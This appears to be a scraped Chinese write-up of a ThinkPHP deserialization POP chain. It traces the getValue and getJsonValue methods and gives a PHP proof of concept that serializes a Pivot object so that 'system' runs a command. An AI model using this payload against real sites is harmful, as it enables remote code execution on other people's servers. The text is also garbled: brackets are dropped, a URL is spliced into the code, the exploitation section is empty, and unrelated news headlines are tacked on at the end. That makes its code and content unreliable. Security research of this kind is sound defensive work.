进行判断 。 此次漏洞方法的getJsonValue方法 。 但需要经过两个if判断 , $this->withAttr和$this->json都可控 , 可顺利进入getJsonValue方法 。protected function getValue(string $name $value $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName $this->get)) {
return $this->get[$fieldName
;
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName
)) {
if ($relation) {
$value = https://mparticle.uc.cn/api/$this->getRelationValue($relation);
if (in_array($fieldName $this->json) && is_array($this->withAttr[$fieldName
)) {
$value = https://mparticle.uc.cn/api/$this->getJsonValue($fieldName $value);
跟进getJsonValue方法 , 触发漏洞的点在$closure($value[$key只要令
$value)$this->jsonAssoc为True就行 。
$closure和$value都可控 。
protected function getJsonValue($name $value)
{
if (is_null($value)) {
return $value;
foreach ($this->withAttr[$name
as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key
= $closure($value[$key
$value);
完整POP链条
POC编写<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = https://mparticle.uc.cn/api/[
;
private $exists = false;
protected $table;
private $withAttr = [
;
protected $json = [
;
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = https://mparticle.uc.cn/api/['whoami' => ['dir'
;
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system'
;
$this->json = ['whoami'['whoami'
;
$this->jsonAssoc = True;
namespace think\\model{
use think\\Model;
class Pivot extends Model{
namespace{
echo(base64_encode(serialize(new think\\model\\Pivot(new think\\model\\Pivot()))));
利用
- 小米|小米最强影像旗舰!小米12S系列海报泄密:徕卡标变白了
- 陨石|小行星“打水漂”闯入地球 形成世界最长陨石陨落带
- 个头大的车厘子比小樱桃营养价值更高,对吗 蚂蚁新村6月28日答案最新
- ssd|小屏旗舰跌至2699元,67W快充+5000万三摄,成荣耀70最大对手
- 最前线 | 腾讯游戏发布40余款产品与项目,《王者荣耀》发布全新规划
- “大家好,我是渣渣辉!”,最近刷爆朋友圈的港普大家来了解一下
- 最小4毫米!一种名叫“老佛爷”的蜘蛛来了,灭绝生物会出现吗?
- 显卡|3个不买RTX 3080的理由:没钱只能排最后
- 世界最干旱沙漠传来消息,长出18亿棵树,科学家:令人担忧
- 高通骁龙|夏天一到骁龙8Gen1没怎么玩就发热?Find X5 Pro用户最有发言权
